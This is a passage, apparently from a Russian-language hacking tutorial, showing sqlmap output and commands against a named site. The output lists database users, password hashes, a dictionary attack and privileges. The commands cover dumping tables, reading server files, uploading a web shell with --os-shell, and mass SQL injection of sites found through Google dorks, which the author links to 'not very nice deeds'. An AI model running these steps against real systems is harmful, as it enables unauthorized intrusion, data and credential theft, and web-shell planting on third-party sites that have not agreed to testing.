current user: 'root@localhost'
[04:37:42] [INFO] fetching current database
current database: 'online_test_ped'
[04:37:42] [INFO] fetching database users
database management system users [5]:
[*] 'debian-sys-maint'@'localhost', 
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'sitefortest'
[*] 'test'@'localhost'
/*Мы получили информацию о текущей БД и пользователе, а также узнали всех
* доступных пользователей*/
[04:37:42] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
/*sqlmap обнаружил хэши и предлагает нам устроить перебор по словарю (y). Мы
* конечно же соглашаемся*/
[04:37:57] [INFO] using hash method: 'mysql_passwd'
what's the dictionary's location? [/home/lirvux/work/hack/sqlmap/txt/wordlist.txt]
[04:37:58] [INFO] loading dictionary from: '/home/lirvux/work/hack/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[04:38:08] [INFO] starting dictionary attack (mysql_passwd)
[04:39:50] [WARNING] no clear password(s) found
/*Sqlmap определил, что пароли зашифрованы методом mysql_passwd и предложил
* выбрать словарь для перебора. Мы выбрали дефолтный, но, к сожалению, ничего не
* подобрали*/
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *991A58143C8199F3CB137310E29F3AAB57203690
[*] root [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[*] test [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[04:39:50] [INFO] fetching database users privileges
database management system users privileges:
[*] 'debian-sys-maint'@'localhost' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
— — privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
/*И наконец мы получили список привелегий всех пользователей. Я его обрезал, так
* как он слишком длинный*/

Теперь попробуем просмотреть содержимое какой-нибудь БД. Для этого пригодятся следующие параметры:

--dbs — Покажет список всех БД.
--tables — Список всех таблиц во всех БД.
-D NAME_DB --tables — отобразит список таблиц внутри базы данных NAME_DB.
-D NAME_DB -T NAME_TABLE --columns — покажет нам список колонок таблицы NAME_TABLE из БДNAME_DB.
--dump — Сделать дамп содержимого указанной таблицы или БД.
--dump-all — Сделает дамп всех БД и их таблиц. Может занять очень много времени.
--exclude-sysdbs — Указывает не выполнять дамп системных таблиц (information_schema и т.п.).
--start=LIMITSTART и --stop=LIMITSOP действуют аналогично LIMIT LIMITSTART,LIMITSTOP в mysql. Они позволяют сделать дамп не всей таблицы, а определенной части. Правда здесь отсчет начинается не с 0, а с 1.
python sqlmap http://sitefortest.kz/index.php?id=17 --dump -D site -T users --start=5 --stop=10
Таким образом, в файле output/sutefortest.kz/dump/site.users будет находиться дамп таблицы пользователей, начиная с 5 строчки и заканчивая 10. Ну и конечно же, дамп будет выведен в терминал. Если в каком-либо поле встретится хэш, то sqlmap, как обычно, предложит нам провести атаку по словарю.

Повышение контроля

Параметры, которые позволят нам скачивать и заливать файлы:

--file-read="/FULL/PATH/FILE" — если у вас хватит привелегий, а пользователю, от которого запущен демон БД разрешено чтение этого файла, то вы сможете найти выкачанный файл здесь —output/sitefortest.kz/files/_FULL_PATH_FILE.
--file-write="/LOCAL/PATH/MYFILE" --file-dist="/REMOTE/PATH/SHELL" — При наличии соответствующих прав, файл /LOCAL/PATH/MYFILE (который находится на нашем компьютере) будет залит в удаленный каталог сервера /REMOTE/PATH/ и будет называться SHELL.
Если нашей целью является залить простенький веб шел, то нам даже не надо указывать файлы, а достаточно указать параметр --os-shell, который все сделает за нас.

Массовые инъекции через гугл (Google Dork)

Sqlmap позволяет нам тестировать сайты, прямо из поисковой выдачи гугла.
Например, вот так:
python sqlmap -g "inurl:?lesson=1" --beep --page-rank --gpage=10 --random-agent
-g «inurl:?lesson=1» — Задает поисковой запрос для гугла, по которому мы будем искать сайты с потенциальными уязвимостями.
--beep — заставит sqlmap уведомлять нас с помощью спикера о каждой найденной уязвимости.
--page-rank — Выведет Page Rank страницы, которую мы тестируем. Это может пригодиться для не очень хороших делишек.
--gpage=10 — указываем с какой страницы поисковой выдачи брать сайты. По умолчанию парсится 1 страница.
--random-agent — в данном случае является обязательным параметром, так как без него гугл не пустит нас к поиску, поняв, что его производит не человек, а sqlmap.

Еще несколько сценариев описаны в журнале Хакер